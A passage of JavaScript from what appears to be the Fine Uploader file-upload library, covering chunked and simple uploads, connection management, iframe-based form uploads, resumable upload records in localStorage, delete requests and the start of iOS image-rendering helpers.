                        log("Chunked upload request failed for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var responseToReport = upload.normalizeResponse(response, false), inProgressIdx;
                        if (responseToReport.reset) {
                            chunked.reset(id);
                        } else {
                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);
                            if (inProgressIdx >= 0) {
                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);
                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);
                            }
                        }
                        if (!handler._getFileState(id).temp.ignoreFailure) {
                            if (concurrentChunkingPossible) {
                                handler._getFileState(id).temp.ignoreFailure = true;
                                log(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));
                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {
                                    log(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ", id, ckid, ckXhr.readyState));
                                    ckXhr.abort();
                                    ckXhr._cancelled = true;
                                });
                                handler.moveInProgressToRemaining(id);
                                connectionManager.free(id, true);
                            }
                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {
                                upload.cleanup(id, responseToReport, xhr);
                            }
                        }
                    }).done(function() {
                        handler.clearXhr(id, chunkIdx);
                    });
                }
            }
        }, connectionManager = {
            _open: [],
            _openChunks: {},
            _waiting: [],
            available: function() {
                var max = options.maxConnections, openChunkEntriesCount = 0, openChunksCount = 0;
                qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {
                    openChunkEntriesCount++;
                    openChunksCount += openChunkIndexes.length;
                });
                return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);
            },
            free: function(id, dontAllowNext) {
                var allowNext = !dontAllowNext, waitingIndex = qq.indexOf(connectionManager._waiting, id), connectionsIndex = qq.indexOf(connectionManager._open, id), nextId;
                delete connectionManager._openChunks[id];
                if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {
                    log("Generated blob upload has ended for " + id + ", disposing generated blob.");
                    delete handler._getFileState(id).file;
                }
                if (waitingIndex >= 0) {
                    connectionManager._waiting.splice(waitingIndex, 1);
                } else if (allowNext && connectionsIndex >= 0) {
                    connectionManager._open.splice(connectionsIndex, 1);
                    nextId = connectionManager._waiting.shift();
                    if (nextId >= 0) {
                        connectionManager._open.push(nextId);
                        upload.start(nextId);
                    }
                }
            },
            getWaitingOrConnected: function() {
                var waitingOrConnected = [];
                qq.each(connectionManager._openChunks, function(fileId, chunks) {
                    if (chunks && chunks.length) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                qq.each(connectionManager._open, function(idx, fileId) {
                    if (!connectionManager._openChunks[fileId]) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);
                return waitingOrConnected;
            },
            isUsingConnection: function(id) {
                return qq.indexOf(connectionManager._open, id) >= 0;
            },
            open: function(id, chunkIdx) {
                if (chunkIdx == null) {
                    connectionManager._waiting.push(id);
                }
                if (connectionManager.available()) {
                    if (chunkIdx == null) {
                        connectionManager._waiting.pop();
                        connectionManager._open.push(id);
                    } else {
                        (function() {
                            var openChunksEntry = connectionManager._openChunks[id] || [];
                            openChunksEntry.push(chunkIdx);
                            connectionManager._openChunks[id] = openChunksEntry;
                        })();
                    }
                    return true;
                }
                return false;
            },
            reset: function() {
                connectionManager._waiting = [];
                connectionManager._open = [];
            }
        }, simple = {
            send: function(id, name) {
                handler._getFileState(id).loaded = 0;
                log("Sending simple upload request for " + id);
                handler.uploadFile(id).then(function(response, optXhr) {
                    log("Simple upload request succeeded for " + id);
                    var responseToReport = upload.normalizeResponse(response, true), size = options.getSize(id);
                    options.onProgress(id, name, size, size);
                    upload.maybeNewUuid(id, responseToReport);
                    upload.cleanup(id, responseToReport, optXhr);
                }, function(response, optXhr) {
                    log("Simple upload request failed for " + id);
                    var responseToReport = upload.normalizeResponse(response, false);
                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {
                        upload.cleanup(id, responseToReport, optXhr);
                    }
                });
            }
        }, upload = {
            cancel: function(id) {
                log("Cancelling " + id);
                options.paramsStore.remove(id);
                connectionManager.free(id);
            },
            cleanup: function(id, response, optXhr) {
                var name = options.getName(id);
                options.onComplete(id, name, response, optXhr);
                if (handler._getFileState(id)) {
                    handler._clearXhrs && handler._clearXhrs(id);
                }
                connectionManager.free(id);
            },
            getProxyOrBlob: function(id) {
                return handler.getProxy && handler.getProxy(id) || handler.getFile && handler.getFile(id);
            },
            initHandler: function() {
                var handlerType = namespace ? qq[namespace] : qq.traditional, handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? "Xhr" : "Form";
                handler = new handlerType[handlerModuleSubtype + "UploadHandler"](options, {
                    getDataByUuid: options.getDataByUuid,
                    getName: options.getName,
                    getSize: options.getSize,
                    getUuid: options.getUuid,
                    log: log,
                    onCancel: options.onCancel,
                    onProgress: options.onProgress,
                    onUuidChanged: options.onUuidChanged
                });
                if (handler._removeExpiredChunkingRecords) {
                    handler._removeExpiredChunkingRecords();
                }
            },
            isDeferredEligibleForUpload: function(id) {
                return options.isQueued(id);
            },
            maybeDefer: function(id, blob) {
                if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {
                    options.onUploadPrep(id);
                    log("Attempting to generate a blob on-demand for " + id);
                    blob.create().then(function(generatedBlob) {
                        log("Generated an on-demand blob for " + id);
                        handler.updateBlob(id, generatedBlob);
                        options.setSize(id, generatedBlob.size);
                        handler.reevaluateChunking(id);
                        upload.maybeSendDeferredFiles(id);
                    }, function(errorMessage) {
                        var errorResponse = {};
                        if (errorMessage) {
                            errorResponse.error = errorMessage;
                        }
                        log(qq.format("Failed to generate blob for ID {}.  Error message: {}.", id, errorMessage), "error");
                        options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);
                        upload.maybeSendDeferredFiles(id);
                        connectionManager.free(id);
                    });
                } else {
                    return upload.maybeSendDeferredFiles(id);
                }
                return false;
            },
            maybeSendDeferredFiles: function(id) {
                var idsInGroup = options.getIdsInProxyGroup(id), uploadedThisId = false;
                if (idsInGroup && idsInGroup.length) {
                    log("Maybe ready to upload proxy group file " + id);
                    qq.each(idsInGroup, function(idx, idInGroup) {
                        if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {
                            uploadedThisId = idInGroup === id;
                            upload.now(idInGroup);
                        } else if (upload.isDeferredEligibleForUpload(idInGroup)) {
                            return false;
                        }
                    });
                } else {
                    uploadedThisId = true;
                    upload.now(id);
                }
                return uploadedThisId;
            },
            maybeNewUuid: function(id, response) {
                if (response.newUuid !== undefined) {
                    options.onUuidChanged(id, response.newUuid);
                }
            },
            normalizeResponse: function(originalResponse, successful) {
                var response = originalResponse;
                if (!qq.isObject(originalResponse)) {
                    response = {};
                    if (qq.isString(originalResponse) && !successful) {
                        response.error = originalResponse;
                    }
                }
                response.success = successful;
                return response;
            },
            now: function(id) {
                var name = options.getName(id);
                if (!controller.isValid(id)) {
                    throw new qq.Error(id + " is not a valid file ID to upload!");
                }
                options.onUpload(id, name);
                if (chunkingPossible && handler._shouldChunkThisFile(id)) {
                    chunked.sendNext(id);
                } else {
                    simple.send(id, name);
                }
            },
            start: function(id) {
                var blobToUpload = upload.getProxyOrBlob(id);
                if (blobToUpload) {
                    return upload.maybeDefer(id, blobToUpload);
                } else {
                    upload.now(id);
                    return true;
                }
            }
        };
        qq.extend(this, {
            add: function(id, file) {
                handler.add.apply(this, arguments);
            },
            upload: function(id) {
                if (connectionManager.open(id)) {
                    return upload.start(id);
                }
                return false;
            },
            retry: function(id) {
                if (concurrentChunkingPossible) {
                    handler._getFileState(id).temp.ignoreFailure = false;
                }
                if (connectionManager.isUsingConnection(id)) {
                    return upload.start(id);
                } else {
                    return controller.upload(id);
                }
            },
            cancel: function(id) {
                var cancelRetVal = handler.cancel(id);
                if (qq.isGenericPromise(cancelRetVal)) {
                    cancelRetVal.then(function() {
                        upload.cancel(id);
                    });
                } else if (cancelRetVal !== false) {
                    upload.cancel(id);
                }
            },
            cancelAll: function() {
                var waitingOrConnected = connectionManager.getWaitingOrConnected(), i;
                if (waitingOrConnected.length) {
                    for (i = waitingOrConnected.length - 1; i >= 0; i--) {
                        controller.cancel(waitingOrConnected[i]);
                    }
                }
                connectionManager.reset();
            },
            getFile: function(id) {
                if (handler.getProxy && handler.getProxy(id)) {
                    return handler.getProxy(id).referenceBlob;
                }
                return handler.getFile && handler.getFile(id);
            },
            isProxied: function(id) {
                return !!(handler.getProxy && handler.getProxy(id));
            },
            getInput: function(id) {
                if (handler.getInput) {
                    return handler.getInput(id);
                }
            },
            reset: function() {
                log("Resetting upload handler");
                controller.cancelAll();
                connectionManager.reset();
                handler.reset();
            },
            expunge: function(id) {
                if (controller.isValid(id)) {
                    return handler.expunge(id);
                }
            },
            isValid: function(id) {
                return handler.isValid(id);
            },
            getResumableFilesData: function() {
                if (handler.getResumableFilesData) {
                    return handler.getResumableFilesData();
                }
                return [];
            },
            getThirdPartyFileId: function(id) {
                if (controller.isValid(id)) {
                    return handler.getThirdPartyFileId(id);
                }
            },
            pause: function(id) {
                if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {
                    connectionManager.free(id);
                    handler.moveInProgressToRemaining(id);
                    return true;
                }
                return false;
            },
            isResumable: function(id) {
                return !!handler.isResumable && handler.isResumable(id);
            }
        });
        qq.extend(options, o);
        log = options.log;
        chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;
        concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;
        preventRetryResponse = function() {
            var response = {};
            response[options.preventRetryParam] = true;
            return response;
        }();
        upload.initHandler();
    };
    qq.WindowReceiveMessage = function(o) {
        "use strict";
        var options = {
            log: function(message, level) {}
        }, callbackWrapperDetachers = {};
        qq.extend(options, o);
        qq.extend(this, {
            receiveMessage: function(id, callback) {
                var onMessageCallbackWrapper = function(event) {
                    callback(event.data);
                };
                if (window.postMessage) {
                    callbackWrapperDetachers[id] = qq(window).attach("message", onMessageCallbackWrapper);
                } else {
                    log("iframe message passing not supported in this browser!", "error");
                }
            },
            stopReceivingMessages: function(id) {
                if (window.postMessage) {
                    var detacher = callbackWrapperDetachers[id];
                    if (detacher) {
                        detacher();
                    }
                }
            }
        });
    };
    qq.FormUploadHandler = function(spec) {
        "use strict";
        var options = spec.options, handler = this, proxy = spec.proxy, formHandlerInstanceId = qq.getUniqueId(), onloadCallbacks = {}, detachLoadEvents = {}, postMessageCallbackTimers = {}, isCors = options.isCors, inputName = options.inputName, getUuid = proxy.getUuid, log = proxy.log, corsMessageReceiver = new qq.WindowReceiveMessage({
            log: log
        });
        function expungeFile(id) {
            delete detachLoadEvents[id];
            if (isCors) {
                clearTimeout(postMessageCallbackTimers[id]);
                delete postMessageCallbackTimers[id];
                corsMessageReceiver.stopReceivingMessages(id);
            }
            var iframe = document.getElementById(handler._getIframeName(id));
            if (iframe) {
                iframe.setAttribute("src", "javascript:false;");
                qq(iframe).remove();
            }
        }
        function getFileIdForIframeName(iframeName) {
            return iframeName.split("_")[0];
        }
        function initIframeForUpload(name) {
            var iframe = qq.toElement("<iframe src='javascript:false;' name='" + name + "' />");
            iframe.setAttribute("id", name);
            iframe.style.display = "none";
            document.body.appendChild(iframe);
            return iframe;
        }
        function registerPostMessageCallback(iframe, callback) {
            var iframeName = iframe.id, fileId = getFileIdForIframeName(iframeName), uuid = getUuid(fileId);
            onloadCallbacks[uuid] = callback;
            detachLoadEvents[fileId] = qq(iframe).attach("load", function() {
                if (handler.getInput(fileId)) {
                    log("Received iframe load event for CORS upload request (iframe name " + iframeName + ")");
                    postMessageCallbackTimers[iframeName] = setTimeout(function() {
                        var errorMessage = "No valid message received from loaded iframe for iframe name " + iframeName;
                        log(errorMessage, "error");
                        callback({
                            error: errorMessage
                        });
                    }, 1e3);
                }
            });
            corsMessageReceiver.receiveMessage(iframeName, function(message) {
                log("Received the following window message: '" + message + "'");
                var fileId = getFileIdForIframeName(iframeName), response = handler._parseJsonResponse(message), uuid = response.uuid, onloadCallback;
                if (uuid && onloadCallbacks[uuid]) {
                    log("Handling response for iframe name " + iframeName);
                    clearTimeout(postMessageCallbackTimers[iframeName]);
                    delete postMessageCallbackTimers[iframeName];
                    handler._detachLoadEvent(iframeName);
                    onloadCallback = onloadCallbacks[uuid];
                    delete onloadCallbacks[uuid];
                    corsMessageReceiver.stopReceivingMessages(iframeName);
                    onloadCallback(response);
                } else if (!uuid) {
                    log("'" + message + "' does not contain a UUID - ignoring.");
                }
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, fileInput) {
                    super_.add(id, {
                        input: fileInput
                    });
                    fileInput.setAttribute("name", inputName);
                    if (fileInput.parentNode) {
                        qq(fileInput).remove();
                    }
                },
                expunge: function(id) {
                    expungeFile(id);
                    super_.expunge(id);
                },
                isValid: function(id) {
                    return super_.isValid(id) && handler._getFileState(id).input !== undefined;
                }
            };
        });
        qq.extend(this, {
            getInput: function(id) {
                return handler._getFileState(id).input;
            },
            _attachLoadEvent: function(iframe, callback) {
                var responseDescriptor;
                if (isCors) {
                    registerPostMessageCallback(iframe, callback);
                } else {
                    detachLoadEvents[iframe.id] = qq(iframe).attach("load", function() {
                        log("Received response for " + iframe.id);
                        if (!iframe.parentNode) {
                            return;
                        }
                        try {
                            if (iframe.contentDocument && iframe.contentDocument.body && iframe.contentDocument.body.innerHTML == "false") {
                                return;
                            }
                        } catch (error) {
                            log("Error when attempting to access iframe during handling of upload response (" + error.message + ")", "error");
                            responseDescriptor = {
                                success: false
                            };
                        }
                        callback(responseDescriptor);
                    });
                }
            },
            _createIframe: function(id) {
                var iframeName = handler._getIframeName(id);
                return initIframeForUpload(iframeName);
            },
            _detachLoadEvent: function(id) {
                if (detachLoadEvents[id] !== undefined) {
                    detachLoadEvents[id]();
                    delete detachLoadEvents[id];
                }
            },
            _getIframeName: function(fileId) {
                return fileId + "_" + formHandlerInstanceId;
            },
            _initFormForUpload: function(spec) {
                var method = spec.method, endpoint = spec.endpoint, params = spec.params, paramsInBody = spec.paramsInBody, targetName = spec.targetName, form = qq.toElement("<form method='" + method + "' enctype='multipart/form-data'></form>"), url = endpoint;
                if (paramsInBody) {
                    qq.obj2Inputs(params, form);
                } else {
                    url = qq.obj2url(params, endpoint);
                }
                form.setAttribute("action", url);
                form.setAttribute("target", targetName);
                form.style.display = "none";
                document.body.appendChild(form);
                return form;
            },
            _parseJsonResponse: function(innerHtmlOrMessage) {
                var response = {};
                try {
                    response = qq.parseJson(innerHtmlOrMessage);
                } catch (error) {
                    log("Error when attempting to parse iframe upload response (" + error.message + ")", "error");
                }
                return response;
            }
        });
    };
    qq.XhrUploadHandler = function(spec) {
        "use strict";
        var handler = this, namespace = spec.options.namespace, proxy = spec.proxy, chunking = spec.options.chunking, resume = spec.options.resume, chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking, resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, getEndpoint = proxy.getEndpoint, getDataByUuid = proxy.getDataByUuid, onUuidChanged = proxy.onUuidChanged, onProgress = proxy.onProgress, log = proxy.log;
        function abort(id) {
            qq.each(handler._getXhrs(id), function(xhrId, xhr) {
                var ajaxRequester = handler._getAjaxRequester(id, xhrId);
                xhr.onreadystatechange = null;
                xhr.upload.onprogress = null;
                xhr.abort();
                ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);
            });
        }
        qq.extend(this, new qq.UploadHandler(spec));
        qq.override(this, function(super_) {
            return {
                add: function(id, blobOrProxy) {
                    if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {
                        super_.add(id, {
                            file: blobOrProxy
                        });
                    } else if (blobOrProxy instanceof qq.BlobProxy) {
                        super_.add(id, {
                            proxy: blobOrProxy
                        });
                    } else {
                        throw new Error("Passed obj is not a File, Blob, or proxy");
                    }
                    handler._initTempState(id);
                    resumeEnabled && handler._maybePrepareForResume(id);
                },
                expunge: function(id) {
                    abort(id);
                    handler._maybeDeletePersistedChunkData(id);
                    handler._clearXhrs(id);
                    super_.expunge(id);
                }
            };
        });
        qq.extend(this, {
            clearCachedChunk: function(id, chunkIdx) {
                delete handler._getFileState(id).temp.cachedChunks[chunkIdx];
            },
            clearXhr: function(id, chunkIdx) {
                var tempState = handler._getFileState(id).temp;
                if (tempState.xhrs) {
                    delete tempState.xhrs[chunkIdx];
                }
                if (tempState.ajaxRequesters) {
                    delete tempState.ajaxRequesters[chunkIdx];
                }
            },
            finalizeChunks: function(id, responseParser) {
                var lastChunkIdx = handler._getTotalChunks(id) - 1, xhr = handler._getXhr(id, lastChunkIdx);
                if (responseParser) {
                    return new qq.Promise().success(responseParser(xhr), xhr);
                }
                return new qq.Promise().success({}, xhr);
            },
            getFile: function(id) {
                return handler.isValid(id) && handler._getFileState(id).file;
            },
            getProxy: function(id) {
                return handler.isValid(id) && handler._getFileState(id).proxy;
            },
            getResumableFilesData: function() {
                var resumableFilesData = [];
                handler._iterateResumeRecords(function(key, uploadData) {
                    handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress, uploadData.chunking.remaining);
                    var data = {
                        name: uploadData.name,
                        remaining: uploadData.chunking.remaining,
                        size: uploadData.size,
                        uuid: uploadData.uuid
                    };
                    if (uploadData.key) {
                        data.key = uploadData.key;
                    }
                    resumableFilesData.push(data);
                });
                return resumableFilesData;
            },
            isResumable: function(id) {
                return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;
            },
            moveInProgressToRemaining: function(id, optInProgress, optRemaining) {
                var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress, remaining = optRemaining || handler._getFileState(id).chunking.remaining;
                if (inProgress) {
                    log(qq.format("Moving these chunks from in-progress {}, to remaining.", JSON.stringify(inProgress)));
                    inProgress.reverse();
                    qq.each(inProgress, function(idx, chunkIdx) {
                        remaining.unshift(chunkIdx);
                    });
                    inProgress.length = 0;
                }
            },
            pause: function(id) {
                if (handler.isValid(id)) {
                    log(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.", id, getName(id)));
                    handler._getFileState(id).paused = true;
                    abort(id);
                    return true;
                }
            },
            reevaluateChunking: function(id) {
                if (chunking && handler.isValid(id)) {
                    var state = handler._getFileState(id), totalChunks, i;
                    delete state.chunking;
                    state.chunking = {};
                    totalChunks = handler._getTotalChunks(id);
                    if (totalChunks > 1 || chunking.mandatory) {
                        state.chunking.enabled = true;
                        state.chunking.parts = totalChunks;
                        state.chunking.remaining = [];
                        for (i = 0; i < totalChunks; i++) {
                            state.chunking.remaining.push(i);
                        }
                        handler._initTempState(id);
                    } else {
                        state.chunking.enabled = false;
                    }
                }
            },
            updateBlob: function(id, newBlob) {
                if (handler.isValid(id)) {
                    handler._getFileState(id).file = newBlob;
                }
            },
            _clearXhrs: function(id) {
                var tempState = handler._getFileState(id).temp;
                qq.each(tempState.ajaxRequesters, function(chunkId) {
                    delete tempState.ajaxRequesters[chunkId];
                });
                qq.each(tempState.xhrs, function(chunkId) {
                    delete tempState.xhrs[chunkId];
                });
            },
            _createXhr: function(id, optChunkIdx) {
                return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());
            },
            _getAjaxRequester: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];
            },
            _getChunkData: function(id, chunkIndex) {
                var chunkSize = chunking.partSize, fileSize = getSize(id), fileOrBlob = handler.getFile(id), startBytes = chunkSize * chunkIndex, endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize, totalChunks = handler._getTotalChunks(id), cachedChunks = this._getFileState(id).temp.cachedChunks, blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);
                cachedChunks[chunkIndex] = blob;
                return {
                    part: chunkIndex,
                    start: startBytes,
                    end: endBytes,
                    count: totalChunks,
                    blob: blob,
                    size: endBytes - startBytes
                };
            },
            _getChunkDataForCallback: function(chunkData) {
                return {
                    partIndex: chunkData.part,
                    startByte: chunkData.start + 1,
                    endByte: chunkData.end,
                    totalParts: chunkData.count
                };
            },
            _getLocalStorageId: function(id) {
                var formatVersion = "5.0", name = getName(id), size = getSize(id), chunkSize = chunking.partSize, endpoint = getEndpoint(id);
                return qq.format("qq{}resume{}-{}-{}-{}-{}", namespace, formatVersion, name, size, chunkSize, endpoint);
            },
            _getMimeType: function(id) {
                return handler.getFile(id).type;
            },
            _getPersistableData: function(id) {
                return handler._getFileState(id).chunking;
            },
            _getTotalChunks: function(id) {
                if (chunking) {
                    var fileSize = getSize(id), chunkSize = chunking.partSize;
                    return Math.ceil(fileSize / chunkSize);
                }
            },
            _getXhr: function(id, optChunkIdx) {
                var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;
                return handler._getFileState(id).temp.xhrs[chunkIdx];
            },
            _getXhrs: function(id) {
                return handler._getFileState(id).temp.xhrs;
            },
            _iterateResumeRecords: function(callback) {
                if (resumeEnabled) {
                    qq.each(localStorage, function(key, item) {
                        if (key.indexOf(qq.format("qq{}resume", namespace)) === 0) {
                            var uploadData = JSON.parse(item);
                            callback(key, uploadData);
                        }
                    });
                }
            },
            _initTempState: function(id) {
                handler._getFileState(id).temp = {
                    ajaxRequesters: {},
                    chunkProgress: {},
                    xhrs: {},
                    cachedChunks: {}
                };
            },
            _markNotResumable: function(id) {
                handler._getFileState(id).notResumable = true;
            },
            _maybeDeletePersistedChunkData: function(id) {
                var localStorageId;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    if (localStorageId && localStorage.getItem(localStorageId)) {
                        localStorage.removeItem(localStorageId);
                        return true;
                    }
                }
                return false;
            },
            _maybePrepareForResume: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && state.key === undefined) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = localStorage.getItem(localStorageId);
                    if (persistedData) {
                        persistedData = JSON.parse(persistedData);
                        if (getDataByUuid(persistedData.uuid)) {
                            handler._markNotResumable(id);
                        } else {
                            log(qq.format("Identified file with ID {} and name of {} as resumable.", id, getName(id)));
                            onUuidChanged(id, persistedData.uuid);
                            state.key = persistedData.key;
                            state.chunking = persistedData.chunking;
                            state.loaded = persistedData.loaded;
                            state.attemptingResume = true;
                            handler.moveInProgressToRemaining(id);
                        }
                    }
                }
            },
            _maybePersistChunkedState: function(id) {
                var state = handler._getFileState(id), localStorageId, persistedData;
                if (resumeEnabled && handler.isResumable(id)) {
                    localStorageId = handler._getLocalStorageId(id);
                    persistedData = {
                        name: getName(id),
                        size: getSize(id),
                        uuid: getUuid(id),
                        key: state.key,
                        chunking: state.chunking,
                        loaded: state.loaded,
                        lastUpdated: Date.now()
                    };
                    try {
                        localStorage.setItem(localStorageId, JSON.stringify(persistedData));
                    } catch (error) {
                        log(qq.format("Unable to save resume data for '{}' due to error: '{}'.", id, error.toString()), "warn");
                    }
                }
            },
            _registerProgressHandler: function(id, chunkIdx, chunkSize) {
                var xhr = handler._getXhr(id, chunkIdx), name = getName(id), progressCalculator = {
                    simple: function(loaded, total) {
                        var fileSize = getSize(id);
                        if (loaded === total) {
                            onProgress(id, name, fileSize, fileSize);
                        } else {
                            onProgress(id, name, loaded >= fileSize ? fileSize - 1 : loaded, fileSize);
                        }
                    },
                    chunked: function(loaded, total) {
                        var chunkProgress = handler._getFileState(id).temp.chunkProgress, totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded, loadedForRequest = loaded, totalForRequest = total, totalFileSize = getSize(id), estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize), totalLoadedForFile = totalSuccessfullyLoadedForFile;
                        chunkProgress[chunkIdx] = estActualChunkLoaded;
                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {
                            totalLoadedForFile += chunkLoaded;
                        });
                        onProgress(id, name, totalLoadedForFile, totalFileSize);
                    }
                };
                xhr.upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        var type = chunkSize == null ? "simple" : "chunked";
                        progressCalculator[type](e.loaded, e.total);
                    }
                };
            },
            _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {
                var xhrsId = optChunkIdx == null ? -1 : optChunkIdx, tempState = handler._getFileState(id).temp;
                tempState.xhrs = tempState.xhrs || {};
                tempState.ajaxRequesters = tempState.ajaxRequesters || {};
                tempState.xhrs[xhrsId] = xhr;
                if (optAjaxRequester) {
                    tempState.ajaxRequesters[xhrsId] = optAjaxRequester;
                }
                return xhr;
            },
            _removeExpiredChunkingRecords: function() {
                var expirationDays = resume.recordsExpireIn;
                handler._iterateResumeRecords(function(key, uploadData) {
                    var expirationDate = new Date(uploadData.lastUpdated);
                    expirationDate.setDate(expirationDate.getDate() + expirationDays);
                    if (expirationDate.getTime() <= Date.now()) {
                        log("Removing expired resume record with key " + key);
                        localStorage.removeItem(key);
                    }
                });
            },
            _shouldChunkThisFile: function(id) {
                var state = handler._getFileState(id);
                if (!state.chunking) {
                    handler.reevaluateChunking(id);
                }
                return state.chunking.enabled;
            }
        });
    };
    qq.DeleteFileAjaxRequester = function(o) {
        "use strict";
        var requester, options = {
            method: "DELETE",
            uuidParamName: "qquuid",
            endpointStore: {},
            maxConnections: 3,
            customHeaders: function(id) {
                return {};
            },
            paramsStore: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onDelete: function(id) {},
            onDeleteComplete: function(id, xhrOrXdr, isError) {}
        };
        qq.extend(options, o);
        function getMandatedParams() {
            if (options.method.toUpperCase() === "POST") {
                return {
                    _method: "DELETE"
                };
            }
            return {};
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "POST", "DELETE" ],
            method: options.method,
            endpointStore: options.endpointStore,
            paramsStore: options.paramsStore,
            mandatedParams: getMandatedParams(),
            maxConnections: options.maxConnections,
            customHeaders: function(id) {
                return options.customHeaders.get(id);
            },
            log: options.log,
            onSend: options.onDelete,
            onComplete: options.onDeleteComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            sendDelete: function(id, uuid, additionalMandatedParams) {
                var additionalOptions = additionalMandatedParams || {};
                options.log("Submitting delete file request for " + id);
                if (options.method === "DELETE") {
                    requester.initTransport(id).withPath(uuid).withParams(additionalOptions).send();
                } else {
                    additionalOptions[options.uuidParamName] = uuid;
                    requester.initTransport(id).withParams(additionalOptions).send();
                }
            }
        });
    };
    (function() {
        function detectSubsampling(img) {
            var iw = img.naturalWidth, ih = img.naturalHeight, canvas = document.createElement("canvas"), ctx;
            if (iw * ih > 1024 * 1024) {
                canvas.width = canvas.height = 1;
                ctx = canvas.getContext("2d");
                ctx.drawImage(img, -iw + 1, 0);
                return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
            } else {
                return false;
            }
        }
        function detectVerticalSquash(img, iw, ih) {
            var canvas = document.createElement("canvas"), sy = 0, ey = ih, py = ih, ctx, data, alpha, ratio;
            canvas.width = 1;
            canvas.height = ih;
            ctx = canvas.getContext("2d");
            ctx.drawImage(img, 0, 0);
            data = ctx.getImageData(0, 0, 1, ih).data;
            while (py > sy) {
                alpha = data[(py - 1) * 4 + 3];
                if (alpha === 0) {
                    ey = py;
                } else {
                    sy = py;
                }
                py = ey + sy >> 1;
            }
            ratio = py / ih;
            return ratio === 0 ? 1 : ratio;
        }
        function renderImageToDataURL(img, blob, options, doSquash) {
            var canvas = document.createElement("canvas"), mime = options.mime || "image/jpeg", promise = new qq.Promise();
            renderImageToCanvas(img, blob, canvas, options, doSquash).then(function() {
                promise.success(canvas.toDataURL(mime, options.quality || .8));
            });
            return promise;
        }
        function maybeCalculateDownsampledDimensions(spec) {
            var maxPixels = 5241e3;
            if (!qq.ios()) {
                throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");
            }
            if (spec.origHeight * spec.origWidth > maxPixels) {
                return {
                    newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),
                    newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))
                };
            }
        }
        function renderImageToCanvas(img, blob, canvas, options, doSquash) {
            var iw = img.naturalWidth, ih = img.naturalHeight, width = options.width, height = options.height, ctx = canvas.getContext("2d"), promise = new qq.Promise(), modifiedDimensions;
            ctx.save();
            if (options.resize) {
                return renderImageToCanvasWithCustomResizer({
                    blob: blob,
                    canvas: canvas,
                    image: img,
                    imageHeight: ih,
                    imageWidth: iw,
                    orientation: options.orientation,
                    resize: options.resize,
                    targetHeight: height,
                    targetWidth: width
                });
            }
            if (!qq.supportedFeatures.unlimitedScaledImageSize) {
                modifiedDimensions = maybeCalculateDownsampledDimensions({
                    origWidth: width,
                    origHeight: height
                });
                if (modifiedDimensions) {
                    qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h", width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight), "warn");
                    width = modifiedDimensions.newWidth;
                    height = modifiedDimensions.newHeight;
                }
            }
            transformCoordinate(canvas, width, height, options.orientation);
            if (qq.ios()) {
                (function() {
                    if (detectSubsampling(img)) {
                        iw /= 2;
                        ih /= 2;
                    }
